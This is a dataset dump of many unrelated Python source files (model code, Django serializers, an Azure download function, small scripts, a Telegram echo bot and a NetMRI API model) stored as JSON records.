stride=(fh, fw))\n\n # Class token\n if classifier == 'token':\n self.class_token = nn.Parameter(torch.zeros(1, 1, dim))\n seq_len += 1\n\n # Positional embedding\n if positional_embedding.lower() == '1d':\n self.positional_embedding = PositionalEmbedding1D(seq_len, dim)\n else:\n raise NotImplementedError()\n\n # Transformer\n self.transformer = Transformer(num_layers=num_layers, dim=dim, num_heads=num_heads,\n ff_dim=ff_dim, dropout=dropout_rate)\n\n # Representation layer\n if representation_size and load_repr_layer:\n self.pre_logits = nn.Linear(dim, representation_size)\n pre_logits_size = representation_size\n else:\n pre_logits_size = dim\n\n # Classifier head\n self.norm = nn.LayerNorm(pre_logits_size, eps=1e-6)\n self.fc = nn.Linear(pre_logits_size, num_classes)\n\n # Initialize weights\n self.init_weights()\n\n # Load pretrained model\n if pretrained:\n pretrained_num_channels = 3\n pretrained_num_classes = PRETRAINED_MODELS[name]['num_classes']\n pretrained_image_size = PRETRAINED_MODELS[name]['image_size']\n load_pretrained_weights(\n self, name,\n weights_path=weights_path,\n load_first_conv=(in_channels == pretrained_num_channels),\n load_fc=(num_classes == pretrained_num_classes),\n load_repr_layer=load_repr_layer,\n resize_positional_embedding=(image_size != pretrained_image_size),\n )\n\n @torch.no_grad()\n def init_weights(self):\n def _init(m):\n if isinstance(m, nn.Linear):\n nn.init.xavier_uniform_(m.weight)\n if hasattr(m, 'bias') and m.bias is not None:\n nn.init.normal_(m.bias, std=1e-6) # nn.init.constant(m.bias, 0)\n self.apply(_init)\n nn.init.constant_(self.fc.weight, 0)\n nn.init.constant_(self.fc.bias, 0)\n nn.init.normal_(self.positional_embedding.pos_embedding, std=0.02)\n nn.init.constant_(self.class_token, 0)\n\n def forward(self, x):\n \"\"\"\n Breaks image into patches, applies transformer, applies MLP head.\n\n Args:\n x (tensor):\n b,c,fh,fw\n \"\"\"\n b, _, _, _ = x.shape\n x = self.patch_embedding(x) # b,d,gh,gw\n x = x.flatten(2).transpose(1, 2) # b,gh*gw,d\n if hasattr(self, 'class_token'):\n x = torch.cat((self.class_token.expand(b, -1, -1), x), dim=1) # b,gh*gw+1,d\n if hasattr(self, 'positional_embedding'):\n x = self.positional_embedding(x) # b,gh*gw+1,d\n x = self.transformer(x) # b,gh*gw+1,d\n if hasattr(self, 'pre_logits'):\n x = self.pre_logits(x)\n x = torch.tanh(x)\n if hasattr(self, 'fc'):\n x = self.norm(x)[:, 0] # b,d\n if self.to_vec:\n print('vit output embedding')\n return x\n x = self.fc(x) # b,num_classes\n return x\n","sub_path":"towhee/trainer/models/vit/vit.py","file_name":"vit.py","file_ext":"py","file_size_in_byte":8141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"477887515","text":"#################################\n# Title: Lecture 6 #\n# Lesson: Conductors/Capacitors #\n# Filename: lecture_6.py\t#\n# Original Author: Joe Griffin\t#\n# Most Recent Edit: 1/27/2014\t#\n# Last Editor: Joe Griffin\t#\n#################################\n\n# This script is meant to define capacitor subclasses for nested spheres and\n# spheres at a distance much greater than their radii.\nfrom group_6 import *\nfrom math import log\n\nclass nested_sphere_cap(capacitor):\n def __init__(self, bigRad, smallRad, ref):\n self.bigRad = bigRad\n self.smallRad = smallRad\n coeff = 4 * pi * E0 # We'll lose access to coeff &\n geom = smallRad * bigRad / float(bigRad - smallRad) # geom when init finishes\n self.capacitance = coeff * geom # We keep access to self\n self.ref = ref\n self.q = 0.0\n\n def charge(self, voltage):\n capacitor.charge(self, voltage)\n self.ref[self] = self.q\n\nclass nested_cyl_cap(capacitor):\n def __init__(self, bigRad, smallRad, length, ref):\n self.bigRad = bigRad\n self.smallRad = smallRad\n self.length = length\n self.ref = ref\n self.q = q\n numerator = 2 * pi * E0 * length\n denominator = log(bigRad / float(smallRad))\n self.capacitance = numerator / denominator\n\n def charge(self, voltage):\n capacitor.charge(self, voltage)\n self.ref[self] = self.q\n\nclass sep_sphere_cap(capacitor):\n def __init__(self, rad, sep, ref):\n self.rad = rad\n self.sep = sep\n self.capacitance = rad / (2 * 4 * pi * E0)\n self.ref = ref\n self.q = 0.0\n\n def charge(self, voltage):\n capacitor.charge(self, voltage)\n self.ref[self] = self.q\n","sub_path":"lecture_6/lecture_6.py","file_name":"lecture_6.py","file_ext":"py","file_size_in_byte":1781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"175807531","text":"from rest_framework.serializers import ModelSerializer\r\nfrom users.models import Candidate, Collaborator, Accountant, AccountType, PhysicPerson, MoralPerson\r\n\r\n\r\nclass AccountantSerializer(ModelSerializer):\r\n class Meta:\r\n model = Accountant\r\n fields = ('id', 'account', 'denomination_social', 'nom_representant', 'lordre_numero', 'tableau_inscrit'\r\n 'address', 'code_postale', 'ville', 'phone', 'commentaire')\r\n\r\n\r\nclass AccountTypeSerializer(ModelSerializer):\r\n # account = AccountSerializer()\r\n\r\n class Meta:\r\n model = AccountType\r\n fields = ('id', 'account', 'type')\r\n\r\n\r\nclass CollaboratorSerializer(ModelSerializer):\r\n # account = AccountSerializer()\r\n # accountant = AccountantSerializer()\r\n\r\n class Meta:\r\n model = Collaborator\r\n fields = ('id', 'account', 'accountant')\r\n\r\n def create(self, validated_data):\r\n collaborator = Collaborator.objects.create(**validated_data)\r\n AccountType.objects.create(account=collaborator.account, type='Collaborateur')\r\n return collaborator\r\n\r\n\r\nclass CandidateSerializers(ModelSerializer):\r\n # account = AccountSerializer(read_only=True)\r\n # collaborator = CollaboratorSerializer(read_only=True)\r\n\r\n class Meta:\r\n model = Candidate\r\n fields = ('id', 'account', 'collaborator', 'birth_date', 'city_birth', 'department_birth',\r\n 'country_birth', 'address', 'additional_address', 'zip_code', 'city_address')\r\n\r\n def create(self, validated_data):\r\n candidate = Candidate.objects.create(**validated_data)\r\n AccountType.objects.create(account=candidate.account, type='Candidat')\r\n return candidate\r\n\r\n\r\nclass PhysicPersonSerializer(ModelSerializer):\r\n # account = AccountSerializer(read_only=True)\r\n\r\n class Meta:\r\n model = PhysicPerson\r\n fields = ('id', 'account', 'birth_date', 'city_birth', 'department_birth', 'country_birth',\r\n 'address', 'additional_address', 'zip_code', 'city_address')\r\n\r\n def create(self, validated_data):\r\n physic_person = PhysicPerson.objects.create(**validated_data)\r\n AccountType.objects.create(account=physic_person.account, type='Mandataire Physique')\r\n return physic_person\r\n\r\n\r\nclass MoralPersonSerializer(ModelSerializer):\r\n # account = AccountSerializer(read_only=True)\r\n\r\n class Meta:\r\n model = MoralPerson\r\n fields = ('id', 'account', 'association_name', 'address', 'additional_address',\r\n 'zip_code', 'city_address', 'national_number')\r\n\r\n def create(self, validated_data):\r\n physic_moral = PhysicPerson.objects.create(**validated_data)\r\n AccountType.objects.create(account=physic_moral.account, type='Mandataire Morale')\r\n return physic_moral\r\n","sub_path":"users/api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":2808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"420322009","text":"import logging\r\nimport zipfile\r\nimport json\r\nimport os\r\nimport azure.functions as func\r\nfrom ..share_code import fileSystem\r\n\r\n\r\ndef main(req: func.HttpRequest) -> func.HttpResponse:\r\n '''\r\n download pdf and Json files\r\n '''\r\n logging.info('Download pdf files:')\r\n #judgeInfo = ''\r\n try:\r\n download_path = req.params.get('path')\r\n if download_path is None:\r\n return func.HttpResponse(\r\n \"Well, you should give the 'path' parameter!\",\r\n status_code=400\r\n )\r\n if not os.path.exists(r'tmp'):\r\n os.mkdir(r'tmp')\r\n #fileJudge = os.path.exists('tmp')\r\n #judgeInfo += 'tmp create: ' + str(fileJudge)\r\n fileSystem.download_data(download_path)\r\n\r\n #zip\r\n zip_path = r'tmp/back.zip'\r\n dir_to_zip(r'tmp/pdfs', zip_path)\r\n #dir_to_zip(r'tmp/jsons', zip_path, 'a')\r\n #judgeInfo += '\\n' + str(get_all('tmp'))\r\n\r\n with open(zip_path, 'rb') as afile:\r\n data = afile.read()\r\n afile.close()\r\n #return func.HttpResponse(judgeInfo)\r\n return func.HttpResponse(data)\r\n except:\r\n return func.HttpResponse(\r\n \"DownLoad wrong, please try again!\",\r\n status_code=400\r\n )\r\n finally:\r\n pass\r\n\r\n\r\ndef dir_to_zip(dir_path, zip_fp, mode='w'):\r\n r'''\r\n zip\r\n :param dir_path: r'C:\\data'\r\n :param zip_fp: r'C:\\data.zip'\r\n :return:\r\n '''\r\n if not zip_fp.endswith('zip'):\r\n return None #save path si worng\r\n fps = []\r\n zipf = zipfile.ZipFile(zip_fp, mode) #create a zip object\r\n for root, _, fns in os.walk(dir_path):\r\n for afn in fns:\r\n file_path = os.path.join(root, afn)\r\n arcname = file_path.replace(dir_path, '') #relative pos of fn in dir_path\r\n zipf.write(file_path, arcname)\r\n fps.append(file_path)\r\n zipf.close()\r\n return zip_fp\r\n\r\n\r\ndef get_all(path):\r\n '''\r\n print dir!\r\n '''\r\n path_list = []\r\n paths = os.listdir(path)\r\n for i in paths:\r\n com_path = os.path.join(path, i)\r\n if os.path.isdir(com_path):\r\n path_list.append(get_all(com_path))\r\n elif os.path.isfile(com_path):\r\n path_list.append(com_path)\r\n return path_list\r\n","sub_path":"softWare/DownLoad/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"565678528","text":"# made by mohammed\nwins = 0\nloses = 0\nloop = 1\n\nwhile loop <=6:\n result = input()\n if result == \"W\":\n wins = wins + 1\n loop += 1\n\nif wins == 5 or wins == 6:\n print(\"1\")\nelif wins == 3 or wins == 4:\n print(\"2\")\nelif wins == 1 or wins == 2:\n print(\"3\")\nelse:\n print(\"-1\")\n\n","sub_path":"2016-j1.py","file_name":"2016-j1.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"583034699","text":"#! /usr/bin/env python\n\nimport pygame\nimport os\n\n# Constants\nbackground_color = (255, 255, 255)\nscreen_w = 640\nscreen_h = 500\nfps = 60\nscreen = pygame.display.set_mode((screen_w, screen_h), pygame.HWSURFACE |\n pygame.DOUBLEBUF | pygame.FULLSCREEN)\n\n\nclass Stimulus:\n def __init__(self, surface):\n self.surface = surface\n\n def intro(self):\n self.surface.fill(background_color)\n image = pygame.image.load(os.path.join(\"images\",\n \"intro_foraging.jpg\")).convert()\n self.surface.blit(image, (50, 50))\n pygame.display.flip()\n\n while True:\n event = pygame.event.poll()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_SPACE:\n return\n\n\nclass Main:\n def __init__(self):\n pygame.init()\n pygame.mouse.set_visible(False)\n self.surface = screen\n self.surface.fill(background_color)\n self.stimulus = Stimulus(screen)\n\n def main(self):\n self.stimulus.intro()\n clock = pygame.time.Clock()\n clock.tick(fps)\n\nif __name__ == '__main__':\n run = Main()\n run.main()\n","sub_path":"intro_foraging.py","file_name":"intro_foraging.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"583093668","text":"from fastapi import FastAPI\n\nfrom .kafka import producer\nfrom .routers import payments, probe\n\napp = FastAPI()\napp.include_router(payments.router)\napp.include_router(probe.router)\n\n\n@app.on_event(\"startup\")\nasync def startup_event():\n # Get cluster layout and initial topic/partition leadership information\n await producer.start()\n\n\n@app.on_event(\"shutdown\")\nasync def shutdown_event():\n # Wait for all pending messages to be delivered or expire.\n await producer.stop()\n","sub_path":"py/services/payments/payments/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"541031017","text":"\"\"\"Load and clean table annotation files.\n\"\"\"\n\nimport os\nfrom datetime import datetime\ntry:\n import simplejson as json\nexcept ImportError:\n import json\nfrom gridd import util\n\n_v = util.verbose_print\n\n\ndthandler = lambda obj: obj.isoformat() if isinstance(obj, datetime) else None\n\n\ndef real_file_location(filename, relative_filename):\n \"\"\"Given a filename and a relative filename, return the absolute path to\n the latter.\"\"\"\n location = os.path.join(os.path.dirname(filename), relative_filename)\n return os.path.abspath(location)\n\n\ndef load(filename, run_cleaner=True):\n \"\"\"Loads and processes an annotations file. Return annotations list.\n \"\"\"\n with open(filename) as f:\n annotations = json.loads(f.read())\n\n annotation_list = annotations['annotations']\n\n # handle relative filenames\n for ann in annotation_list:\n ann['file'] = real_file_location(filename, ann['file'])\n recover_ints(ann)\n if run_cleaner:\n clean(ann)\n\n _v('%d table annotations loaded.' % (len(annotation_list)))\n return annotation_list\n\n\ndef recover_ints(ann):\n if ann['tableId'] is not None:\n ann['tableId'] = int(ann['tableId'])\n if 'rowClasses' in ann:\n ann['rowClasses'] = dict(\n (int(r), c) for r, c in ann['rowClasses'].iteritems()\n )\n if 'colProps' in ann:\n ann['colProps'] = dict(\n (int(c), p) for c, p in ann['colProps'].iteritems()\n )\n\n\ndef clean(ann):\n \"\"\"Perform cleanup on annotation sequence.\n\n Removes row classes for non-relational tables, converts row numbers\n to integers, translates obsolete or incorrect row types.\n\n :param ann: This list of dicts is updated with the changes.\n \"\"\"\n\n if 'tableType' in ann and ann['tableType'] == 'relational':\n row_classes = ann['rowClasses']\n for row in row_classes.keys():\n if row_classes[row] == 'R':\n row_classes[row] = 'H'\n elif row_classes[row] in ['M', '']:\n del row_classes[row]\n else:\n if 'rowClasses' in ann:\n del ann['rowClasses']\n\n\ndef save(annotation_list, filename):\n \"\"\"Saves an annotations file.\n \"\"\"\n\n with open(filename, 'w') as f:\n annotations = dict(annotations=annotation_list)\n json.dump(annotations, f, sort_keys=True, default=dthandler)\n f.write('\\n')\n\n\ndef merge(input_filenames, output_filename):\n \"\"\"Merges annotations from multiple files into one file.\n \"\"\"\n\n annotation_list = []\n for filename in input_filenames:\n annotation_list.extend(load(filename))\n\n save(annotation_list, output_filename)\n\n\ndef partition(input_filename, partition_count, output_dir):\n annotation_list = load(input_filename)\n util.make_dir_or_prompt(output_dir)\n\n doc_list = sorted(set([a['file'] for a in annotation_list]))\n\n for fold in xrange(partition_count):\n training_docs = set([d for i, d in enumerate(doc_list)\n if i % partition_count != fold])\n testing_docs = set([d for i, d in enumerate(doc_list)\n if i % partition_count == fold])\n\n training = [a for a in annotation_list if a['file'] in training_docs]\n testing = [a for a in annotation_list if a['file'] in testing_docs]\n\n training_file = os.path.join(output_dir,\n 'annotations_%d_train.json' % fold)\n testing_file = os.path.join(output_dir,\n 'annotations_%d_test.json' % fold)\n _v('Writing %s' % training_file)\n save(training, training_file)\n _v('Writing %s' % testing_file)\n save(testing, testing_file)\n\n\ndef load_partitions(dirname, ann_type=None):\n assert ann_type in ['test', 'train']\n if ann_type == 'test':\n pattern = '^annotations_(\\d)+_test\\.json$'\n elif ann_type == 'train':\n pattern = '^annotations_(\\d)+_train\\.json$'\n filenames = sorted(util.load_dir_files(dirname, pattern))\n partitions = []\n for filename in filenames:\n _v('Reading %s' % filename)\n partitions.append(load(filename))\n return partitions\n\n\ndef load_training_sets(dirname):\n return load_partitions(dirname, 'train')\n\n\ndef load_testing_sets(dirname):\n return load_partitions(dirname, 'test')\n\n\ndef get_ann_dict(filename, table_type, table_num, row_classes=None,\n doc_source=None, col_props=None, last_updated=None):\n \"\"\"Returns a dictionary in standard annotation format, which is used to\n represent a table in an annotations file.\n \"\"\"\n\n ann = {u'file': os.path.abspath(filename),\n u'tableType': table_type,\n u'tableId': table_num}\n\n if row_classes is not None and len(row_classes) > 0:\n ann.update({'rowClasses': row_classes,\n 'colProps': col_props or {}})\n if doc_source is not None:\n ann.update({'docSource': doc_source})\n if last_updated is not None:\n ann.update({'last_updated': last_updated})\n\n return ann\n\n\ndef append_to_file(input_file, output_file, new_annotations):\n try:\n annotation_list = load(input_file, run_cleaner=False)\n except IOError:\n annotation_list = []\n annotation_list.extend(new_annotations)\n annotation_list = _dedupe(annotation_list)\n save(annotation_list, output_file)\n\n\ndef _dedupe(annotation_list):\n \"\"\"Removes duplicate annotations (i.e., annotations for the same\n file/table_num) from a list of annotations. When there are duplicates,\n the one that occurs last in the annotation list is kept.\n \"\"\"\n\n # Keep track of docs or doc/tables we've seen so far. If a new\n # annotation is for the same doc, or same table, don't add it.\n seen_docs = set()\n seen_tables = set()\n new_annotation_list = []\n for ann in annotation_list[::-1]:\n doc_id = ann['file']\n table_id = ann['tableId']\n full_table_id = (ann['file'], ann['tableId'])\n\n # skip if we've already seen annotation for full doc\n if (doc_id, None) in seen_tables:\n continue\n\n if table_id is None and doc_id in seen_docs:\n continue\n\n if full_table_id in seen_tables:\n continue\n\n # otherwise, skip unless this is for a table we haven't seen\n # previously.\n new_annotation_list.append(ann)\n seen_docs.add(doc_id)\n seen_tables.add(full_table_id)\n return new_annotation_list[::-1]\n","sub_path":"gridd/annotations.py","file_name":"annotations.py","file_ext":"py","file_size_in_byte":6473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"587646557","text":"#2.py\n#by John Slattery on December 11, 2018\n#This Script will make a 12inc ruler\n\nimport graphics\n\nfrom graphics import *\n\ndef main():\n\n #Graphics Window\n win = GraphWin(\"This will make a ruler\", 1153,500)\n win.setCoords(1153,10,0,0)\n\n #base\n rulebase = Rectangle(Point(0,2), Point(1153,8))\n rulebase.setFill(\"red\")\n rulebase.draw(win)\n\n #inches\n x = 0\n for i in range(12):\n lineinch = Line(Point(x,2), Point(x,4))\n lineinch.draw(win)\n x = x+96\n n= 0\n q=12\n for i in range(12):\n words = Text(Point(n,4.5), q)\n words.draw(win)\n n = n+97\n q = q-1\n #1/4 inches\n x = 0\n for i in range(48):\n lineinch = Line(Point(x,2), Point(x,3.5))\n lineinch.draw(win)\n x = x+24\n\n #close\n win.getMouse()\n win.close()\nmain()","sub_path":"Section1/1.4/challenges/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"603429297","text":"# vim: set fileencoding=utf-8 :\r\nfrom django.contrib import admin\r\nfrom users.models import Profile\r\nfrom django import forms\r\n\r\nfrom . import models\r\n\r\n\r\nclass EventTypeAdmin(admin.ModelAdmin):\r\n\r\n list_display = (\r\n 'id',\r\n 'name',\r\n 'code',\r\n 'created_at',\r\n 'modified_at',\r\n 'status',\r\n )\r\n list_filter = (\r\n 'created_at',\r\n 'modified_at',\r\n 'status',\r\n 'id',\r\n 'name',\r\n 'code',\r\n 'created_at',\r\n 'modified_at',\r\n 'status',\r\n )\r\n search_fields = ('name',)\r\n date_hierarchy = 'created_at'\r\n\r\n\r\nclass EventAdminForm(forms.ModelForm):\r\n class Meta:\r\n model = models.Event\r\n exclude = ('status',) \r\n\r\n def __init__(self, *args, **kwargs):\r\n super(EventAdminForm, self).__init__(*args, **kwargs)\r\n if self.instance and not self.current_user.is_superuser:\r\n profile = Profile.objects.get(user=self.current_user)\r\n self.fields['geo_zone'].queryset = profile.geo_zone\r\n\r\n\r\nclass EventAdmin(admin.ModelAdmin):\r\n\r\n form = EventAdminForm\r\n\r\n #def get_queryset(self, request):\r\n # qs = super(EventAdmin, self).get_queryset(request)\r\n # user = request.user\r\n # if user.is_superuser:\r\n # return qs\r\n # profile = Profile.objects.get(user=user)\r\n # return models.Event.objects.filter(geo_zone = profile.geo_zone)\r\n\r\n def get_form(self, request, obj=None, **kwargs):\r\n form = super(EventAdmin, self).get_form(request, obj, **kwargs)\r\n form.current_user = request.user\r\n return form\r\n\r\n list_display = (\r\n 'entry_type',\r\n 'type',\r\n 'title',\r\n 'adress',\r\n 'short_summary',\r\n 'event_date',\r\n 'created_at',\r\n 'modified_at',\r\n 'status',\r\n )\r\n list_filter = (\r\n 'type',\r\n 'event_date',\r\n 'created_at',\r\n 'modified_at',\r\n 'status',\r\n 'id',\r\n 'entry_type',\r\n 'type',\r\n 'status',\r\n )\r\n date_hierarchy = 'created_at'\r\n\r\n\r\ndef _register(model, admin_class):\r\n admin.site.register(model, admin_class)\r\n\r\n\r\n_register(models.EventType, EventTypeAdmin)\r\n_register(models.Event, EventAdmin)\r\n","sub_path":"apps/event/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":2257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"652100377","text":"import numpy as np\nimport pandas as pd\nimport math\nfrom experiment import Experiment\nfrom elf_mechanism import ElfInstance\nfrom gnome_mechanism import GnomeInstance\n\nepochs = 100\ntruth = 0.5\n\nrows = []\nfor n in [100, 200, 300, 400, 500]:\n# for m in [100, 200, 300, 400, 500, 1000, 1500, 2000, 3000, 4000, 5000]:\n for m in range(10, 110, 10):\n for epsilon in [.01, .05, .1, .2, .3]:\n gap = math.sqrt(epsilon)\n elf = ElfInstance(m)\n gnome = GnomeInstance(m)\n experiment = Experiment(m)\n elf_score = experiment.run_m_events_uniform_gap(epochs, m, truth, gap, elf)\n gnome_score = experiment.run_m_events_uniform_gap(epochs, m, truth, gap, gnome)\n point = {\"m\": m, \"n\": n, \"epsilon\": epsilon, \"elf\": elf_score, \"gnome\": gnome_score}\n print(point)\n rows += [point]\n\npd.DataFrame(rows).to_pickle(\"data/small_dataset.pkl\")","sub_path":"make_dataset.py","file_name":"make_dataset.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"491960547","text":"#Created by Alexandra Paramytha (Π2017001)\r\n\r\nimport re\r\n\r\n#Replacement Function\r\ndef replacement(matchobj):\r\n if matchobj.group(0) == '&': return '&'\r\n if matchobj.group(0) == '>': return '>'\r\n if matchobj.group(0) == '<': return '<'\r\n if matchobj.group(0) == ' ': return ' '\r\n\r\n#Opens and stores the testpage.txt in testpage\r\ntestpage = open(\"testpage.txt\",'r', encoding=\"utf8\").read()\r\n#Creates an output file\r\noutput = open(\"output.txt\", 'w', encoding=\"utf8\")\r\n\r\n\r\n#Task 1 in assignment\r\noutput.write(\"Task 1\\n-------------------------------------------\\n\")\r\nreTitle = re.compile(r'(.+)')\r\nfor m in reTitle.finditer(testpage):\r\n output.write(m.group(1))\r\n\r\noutput.write(\"\\n\\n============================================================\\n\\n\")\r\n\r\n\r\n#Task 2 in assignment\r\noutput.write(\"Task 2\\n-------------------------------------------\\n\")\r\nnoCommentRexp = re.sub('', '', testpage)\r\noutput.write(noCommentRexp)\r\noutput.write(\"\\n\\n============================================================\\n\\n\")\r\n\r\n\r\n#Task 3 in assignment\r\noutput.write(\"Task 3\\n-------------------------------------------\\n\")\r\nnoScriptOrStyleRexp = re.sub('(.*?)|(.*?)', '', testpage, flags=re.DOTALL)\r\noutput.write(noScriptOrStyleRexp)\r\noutput.write(\"\\n\\n============================================================\\n\\n\")\r\n\r\n\r\n#Task 4 in assignment\r\noutput.write(\"Task 4\\n-------------------------------------------\\n\")\r\nreLinks = re.compile(r'(.*)?')\r\nfor m in reLinks.finditer(testpage):\r\n output.write(m.group(2))\r\n output.write(\"\\t\")\r\n output.write(m.group(3))\r\n output.write(\"\\n\")\r\noutput.write(\"\\n\\n============================================================\\n\\n\")\r\n\r\n\r\n#Task 5 in assignment\r\noutput.write(\"Task 5\\n-------------------------------------------\\n\")\r\ntagRexp = re.compile('<.+?>.*?')\r\nnoStartTagRexp = re.sub('<.+?>', '', testpage, flags=re.DOTALL)\r\nnoTagRexp = re.sub('', '', noStartTagRexp, flags=re.DOTALL)\r\noutput.write(noTagRexp)\r\noutput.write(\"\\n\\n============================================================\\n\\n\")\r\n\r\n\r\n#Task 6 in assignment\r\n#The following converts &, >, <,  \r\n#into &, >, <, [space] accordingly\r\noutput.write(\"Task 6\\n-------------------------------------------\\n\")\r\nconvertedRexp = re.sub(r'&.+;', replacement , testpage)\r\noutput.write(convertedRexp)\r\noutput.write(\"\\n\\n============================================================\\n\\n\")\r\n\r\n\r\noutput.close()\r\n","sub_path":"html-processor.py","file_name":"html-processor.py","file_ext":"py","file_size_in_byte":2538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"196676937","text":"#This script changes the lcd wallpaper to white and turns on the light source\n#for the time stipulated by the user\n\nimport os, sys, datetime, time, operator, parser, json\nfrom plc import PLC\n\ndef change_wallpaper(path):\n\n base_cmd = \"xfconf-query -c xfce4-desktop -p \"\n\n os.system(base_cmd + \"/backdrop/screen0/monitor1/image-path -s \" + path)\n os.system(base_cmd + \"/backdrop/screen0/monitor1/image-show -s true\")\n os.system(base_cmd + \"/backdrop/screen0/monitor1/image-style -s 5\")\n os.system(base_cmd + \"/backdrop/screen0/monitor1/workspace0/color-style -s 0\")\n os.system(base_cmd + \"/backdrop/screen0/monitor1/workspace0/image-style -s 5\")\n os.system(base_cmd + \"/backdrop/screen0/monitor1/workspace0/last-image -s \" + path)\n\nif __name__ == \"__main__\":\n\n WHITE_PATH = \"/home/structo/Desktop/white_4k.png\"\n \n if len(sys.argv) < 2:\n print(\"Usage is python3 lcd.py \")\n sys.exit(1)\n\n os.system(\"pkill java\")\n\n change_wallpaper(WHITE_PATH)\n\n #kill launcpad\n plc = PLC()\n \n #turn on LCD for seconds\n time_sec = int(sys.argv[1])\n\n plc.trigger_light(True)\n start = datetime.datetime.now()\n while True:\n elapsed = datetime.datetime.now() - start\n print(\"Seconds left: %d\" % (time_sec - elapsed.seconds))\n if (elapsed.seconds > time_sec):\n break\n time.sleep(1)\n plc.trigger_light(False)","sub_path":"dtf/lcd.py","file_name":"lcd.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"175398568","text":"# -*- coding: utf-8 -*-\n\"\"\"Logger por consola\"\"\"\n\nimport logging\n\n\nclass ConsoleLogger(object):\n \"\"\"Clase logger para trabajar por consola\"\"\"\n\n def __init__(self):\n try:\n self.output = logging\n self.output.basicConfig(\n format='%(asctime)s [%(levelname)s] - %(name)s - %(message)s',\n datefmt='[%Y/%m/%d %I:%M:%S %p]'\n )\n except Exception as exception:\n raise exception\n","sub_path":"und_microservice/logger/logging.py","file_name":"logging.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"182020500","text":"from telegram.ext import Updater, MessageHandler, Filters\n\n\nbot_token = '1048010701:AAHDXPobgHZmlyNVWn3Dg4z4aVbwrGH5TB8'\n\n\ndef echo(update, context):\n\tmsg = update.message\n\tcontext.bot.send_message(update.message.chat_id, msg.text)\n\n\ndef main():\n\tbot = Updater(bot_token, use_context=True)\n\tdp = bot.dispatcher\n\n\tdp.add_handler(MessageHandler(Filters.text, echo))\n\n\tbot.start_polling()\n\tbot.idle()\n\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"21850953","text":"from ..remote import RemoteModel\nfrom infoblox_netmri.utils.utils import check_api_availability\n\n\nclass SpmDevicesNewDevicesGridRemote(RemoteModel):\n \"\"\"\n This table lists new SPM devices that were first seen by NetMRI within the user specified period of time.\n\n\n | ``id:`` The internal NetMRI identifier of the grid entry.\n | ``attribute type:`` number\n\n | ``Network:`` The name of the Network View associated.\n | ``attribute type:`` string\n\n | ``DeviceID:`` The NetMRI internal identifier for the device.\n | ``attribute type:`` number\n\n | ``DeviceName:`` The NetMRI name of the device; this will be either the same as DeviceSysName or DeviceDNSName, depending on your NetMRI configuration.\n | ``attribute type:`` string\n\n | ``DeviceIPDotted:`` The management IP address of the device, in dotted (or colon-delimited for IPv6) format.\n | ``attribute type:`` string\n\n | ``DeviceIPNumeric:`` The numerical value of the device IP address.\n | ``attribute type:`` number\n\n | ``DeviceDNSName:`` The device name as reported by DNS.\n | ``attribute type:`` string\n\n | ``TotalPorts:`` Total number of ports.\n | ``attribute type:`` number\n\n | ``FreePorts:`` Number of free ports.\n | ``attribute type:`` number\n\n | ``FreePortsPercentage:`` Percentage of all ports that are free.\n | ``attribute type:`` number\n\n | ``AvailPorts:`` Number of available ports.\n | ``attribute type:`` number\n\n | ``AvailPortsPercentage:`` Percentage of all ports that are available.\n | ``attribute type:`` number\n\n | ``PoEPorts:`` Number of Power-over-Ethernet ports.\n | ``attribute type:`` number\n\n | ``DeviceSysLocation:`` The device sysLocation as reported by SNMP.\n | ``attribute type:`` string\n\n | ``DeviceVendor:`` The device vendor name.\n | ``attribute type:`` string\n\n | ``DeviceModel:`` The device model name.\n | ``attribute type:`` string\n\n | ``PhysicalSerialNum:`` The vendor-specific serial number string for the physical entity. The preferred value is the serial number string actually printed on the component itself (if present).\n | ``attribute type:`` string\n\n | ``DeviceSysDescr:`` The device sysDescr as reported by SNMP.\n | ``attribute type:`` string\n\n | ``DeviceType:`` The NetMRI-determined device type.\n | ``attribute type:`` string\n\n | ``FirstSeen:`` The timestamp of when NetMRI first discovered this device.\n | ``attribute type:`` datetime\n\n | ``LastSeen:`` The timestamp of when NetMRI last polled data from this device.\n | ``attribute type:`` datetime\n\n | ``LastChanged:`` The timestamp of the last change on this device.\n | ``attribute type:`` string\n\n | ``PollDuration:`` Number of seconds it took to poll the device.\n | ``attribute type:`` number\n\n | ``SwitchingInd:`` A flag indicating whether a switch port forwarding table was retrieved from this device.\n | ``attribute type:`` bool\n\n | ``DeviceAssurance:`` Internal use only\n | ``attribute type:`` string\n\n | ``VirtualNetworkID:`` The internal 